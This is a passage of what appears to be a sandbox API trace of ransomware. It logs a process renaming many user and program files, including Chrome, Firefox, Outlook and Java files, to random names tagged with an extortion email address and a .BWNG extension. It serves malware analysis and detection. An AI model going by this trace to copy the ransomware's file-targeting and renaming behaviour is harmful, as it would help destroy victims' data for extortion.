(x86)\\java\\jre7\\lib\\zi\\pacific\\[billwong73@yahoo.com].knwsqazc-auhvraok.bwng"), dwFlags=0x1) returned 1 [0125.017] GetTickCount () returned 0x1166d25 [0125.017] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26696932771) returned 1 [0125.017] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Wake" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\wake"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\[billwong73@yahoo.com].RQKGMYxe-AgGbu6Wr.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\[billwong73@yahoo.com].rqkgmyxe-aggbu6wr.bwng"), dwFlags=0x1) returned 1 [0125.129] GetTickCount () returned 0x1166da2 [0125.129] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26708093173) returned 1 [0125.129] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\MST7" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv\\mst7"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\[billwong73@yahoo.com].D8EEwh1i-DzSlJ2rW.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv\\[billwong73@yahoo.com].d8eewh1i-dzslj2rw.bwng"), dwFlags=0x1) returned 1 [0125.132] GetTickCount () returned 0x1166da2 [0125.132] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26708393739) returned 1 [0125.132] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\release" (normalized: "c:\\program files (x86)\\java\\jre7\\release"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\[billwong73@yahoo.com].nQDAM1gl-43sSq1MS.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\[billwong73@yahoo.com].nqdam1gl-43ssq1ms.bwng"), dwFlags=0x1) returned 1 [0125.135] GetTickCount () returned 0x1166da2 [0125.135] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26708767070) returned 1 [0125.136] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\[billwong73@yahoo.com].nOTN4rXp-jWiTjb8U.BWNG" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\[billwong73@yahoo.com].notn4rxp-jwitjb8u.bwng"), dwFlags=0x1) returned 1 [0125.137] GetTickCount () returned 0x1166da2 [0125.137] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26708970032) returned 1 [0125.138] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\defaults\\pref\\channel-prefs.js" (normalized: "c:\\program files (x86)\\mozilla firefox\\defaults\\pref\\channel-prefs.js"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\defaults\\pref\\[billwong73@yahoo.com].GR4y1I2M-bIegtjKS.BWNG" (normalized: "c:\\program files (x86)\\mozilla firefox\\defaults\\pref\\[billwong73@yahoo.com].gr4y1i2m-biegtjks.bwng"), dwFlags=0x1) returned 1 [0125.140] GetTickCount () returned 0x1166da2 [0125.140] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26709245968) returned 1 [0125.140] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\[billwong73@yahoo.com].NquoGvlg-EFlfKBFk.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\[billwong73@yahoo.com].nquogvlg-eflfkbfk.bwng"), dwFlags=0x1) returned 1 [0125.143] GetTickCount () returned 0x1166da2 [0125.143] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26709536971) returned 1 [0125.143] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\[billwong73@yahoo.com].sPe5Goh0-lDd9qH09.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\[billwong73@yahoo.com].spe5goh0-ldd9qh09.bwng"), dwFlags=0x1) returned 1 [0125.145] GetTickCount () returned 0x1166db1 [0125.145] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26709765838) returned 1 [0125.146] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Beirut" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\beirut"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\[billwong73@yahoo.com].dzNijHyn-s7XgleN5.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\[billwong73@yahoo.com].dznijhyn-s7xglen5.bwng"), dwFlags=0x1) returned 1 [0125.148] GetTickCount () returned 0x1166db1 [0125.148] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26710015048) returned 1 [0125.148] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\[billwong73@yahoo.com].uEmoXZBW-tP8BNw1W.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\[billwong73@yahoo.com].uemoxzbw-tp8bnw1w.bwng"), dwFlags=0x1) returned 1 [0125.149] GetTickCount () returned 0x1166db1 [0125.150] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26710175211) returned 1 [0125.150] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\[billwong73@yahoo.com].SICBIAnY-Bk1aZdPh.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\[billwong73@yahoo.com].sicbiany-bk1azdph.bwng"), dwFlags=0x1) returned 1 [0125.151] GetTickCount () returned 0x1166db1 [0125.151] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26710347518) returned 1 [0125.151] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\[billwong73@yahoo.com].o1ASPAbu-loWVy26x.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\[billwong73@yahoo.com].o1aspabu-lowvy26x.bwng"), dwFlags=0x1) returned 1 [0125.153] GetTickCount () returned 0x1166db1 [0125.153] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26710525036) returned 1 [0125.153] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\current"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\[billwong73@yahoo.com].eYzG6VWX-ldKfqzFJ.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\[billwong73@yahoo.com].eyzg6vwx-ldkfqzfj.bwng"), dwFlags=0x1) returned 1 [0125.155] GetTickCount () returned 0x1166db1 [0125.155] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26710689191) returned 1 [0125.155] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\safe browsing cookies"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\[billwong73@yahoo.com].BRzrgqAM-yQfxzb5x.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\[billwong73@yahoo.com].brzrgqam-yqfxzb5x.bwng"), dwFlags=0x1) returned 1 [0125.158] GetTickCount () returned 0x1166db1 [0125.158] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26711060962) returned 1 [0125.159] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\desktop.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\[billwong73@yahoo.com].grgeMnWB-Fzfak5I7.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\[billwong73@yahoo.com].grgemnwb-fzfak5i7.bwng"), dwFlags=0x1) returned 1 [0125.160] GetTickCount () returned 0x1166dc1 [0125.160] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26711232119) returned 1 [0125.160] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\05_Pictures_taken_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\05_pictures_taken_in_the_last_month.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\[billwong73@yahoo.com].G8eIkjeg-gBI1EriB.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\[billwong73@yahoo.com].g8eikjeg-gbi1erib.bwng"), dwFlags=0x1) returned 1 [0125.162] GetTickCount () returned 0x1166dc1 [0125.162] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26711501017) returned 1 [0125.163] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\03_music_rated_at_4_or_5_stars.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\[billwong73@yahoo.com].hufj0Za4-P8UiUd1U.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\[billwong73@yahoo.com].hufj0za4-p8uiud1u.bwng"), dwFlags=0x1) returned 1 [0125.164] GetTickCount () returned 0x1166dc1 [0125.164] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26711660230) returned 1 [0125.165] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\mapisvc.inf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\outlook\\mapisvc.inf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Outlook\\[billwong73@yahoo.com].kF6CZmUb-gOTeLCKO.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\outlook\\[billwong73@yahoo.com].kf6czmub-gotelcko.bwng"), dwFlags=0x1) returned 1 [0125.166] GetTickCount () returned 0x1166dc1 [0125.166] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26711853639) returned 1 [0125.167] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb.chk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edb.chk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\[billwong73@yahoo.com].KedNAXn6-m45ESoQ4.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\[billwong73@yahoo.com].kednaxn6-m45esoq4.bwng"), dwFlags=0x1) returned 1 [0125.168] GetTickCount () returned 0x1166dc1 [0125.168] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26712015059) returned 1 [0125.168] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\[billwong73@yahoo.com].4JbGZqlR-KawZqOx2.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\[billwong73@yahoo.com].4jbgzqlr-kawzqox2.bwng"), dwFlags=0x1) returned 1 [0125.169] GetTickCount () returned 0x1166dc1 [0125.169] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26712164083) returned 1 [0125.170] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\CBD4Dd01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\1\\f6\\cbd4dd01"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\[billwong73@yahoo.com].NfeVJKPK-e7m5WjRo.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\1\\f6\\[billwong73@yahoo.com].nfevjkpk-e7m5wjro.bwng"), dwFlags=0x1) returned 1 [0125.363] GetTickCount () returned 0x1166e8c [0125.363] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26731556465) returned 1 [0125.364] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\ECB2Dd01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\f\\f0\\ecb2dd01"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\F0\\[billwong73@yahoo.com].zQLpeDFj-s5Yy75ct.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\f\\f0\\[billwong73@yahoo.com].zqlpedfj-s5yy75ct.bwng"), dwFlags=0x1) returned 1 [0125.365] GetTickCount () returned 0x1166e8c [0125.365] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26731751298) returned 1 [0125.366] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.sbstore" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\test-phish-simple.sbstore"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\safebrowsing\\[billwong73@yahoo.com].Xlkgw0vP-JdZLP4jP.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\safebrowsing\\[billwong73@yahoo.com].xlkgw0vp-jdzlp4jp.bwng"), dwFlags=0x1) returned 1 [0125.367] GetTickCount () returned 0x1166e8c [0125.367] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26731895228) returned 1 [0125.367] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\1bb09beec155258835c193a7aa85aa5b_a7b2b53af2a12e2cb0a41b96d21d7973"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].mAYdX6ln-s9EAamvl.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].maydx6ln-s9eaamvl.bwng"), dwFlags=0x1) returned 1 [0125.369] GetTickCount () returned 0x1166e8c [0125.369] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26732078648) returned 1 [0125.369] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\5457a8ce4b2a7499f8299a013b6e1c7c_ce50f893881d43dc0c815e4d80faf2b4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].KG8wu4x9-ZVrjH2e9.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].kg8wu4x9-zvrjh2e9.bwng"), dwFlags=0x1) returned 1 [0125.370] GetTickCount () returned 0x1166e8c [0125.370] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26732220520) returned 1 [0125.370] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_294110d6990ee392327f8a606d55bc1e"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].DCAWOAzF-ABwToMR4.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].dcawoazf-abwtomr4.bwng"), dwFlags=0x1) returned 1 [0125.371] GetTickCount () returned 0x1166e8c [0125.371] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26732356305) returned 1 [0125.372] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8828f39c7c0ce9a14b25c7eb321181ba_3df94eb797096674f7793a562a778c5f"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].wn9HVTxs-mUwyshhh.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].wn9hvtxs-muwyshhh.bwng"), dwFlags=0x1) returned 1 [0125.373] GetTickCount () returned 0x1166e8c [0125.373] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26732485005) returned 1 [0125.373] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\b3bb9c1ba2d19e090ae305b2683903a0_6f0a84ce2ba99bd19d42c92610275852"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].kmwIQVzx-TbdEtnTV.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].kmwiqvzx-tbdetntv.bwng"), dwFlags=0x1) returned 1 [0125.374] GetTickCount () returned 0x1166e8c [0125.374] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26732628674) returned 1 [0125.374] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\ea618097e393409afa316f0f87e2c202_827c1b837652b048c4c84237d0838585"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\[billwong73@yahoo.com].tRGgbmoM-sr9y6uGu.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\[billwong73@yahoo.com].trggbmom-sr9y6ugu.bwng"), dwFlags=0x1) returned 1 [0125.504] GetTickCount () returned 0x1166f18 [0125.504] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26745619719) returned 1 [0125.504] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\40e450f7ce13419a2ccc2a5445035a0a_06f02b1f13ab4b11b8fc669bde565af1"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].j7gXud3Z-U123G6c8.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].j7gxud3z-u123g6c8.bwng"), dwFlags=0x1) returned 1 [0125.506] GetTickCount () returned 0x1166f18 [0125.506] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26745812557) returned 1 [0125.506] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\7b2238aaccedc3f1ffe8e7eb5f575ec9"), 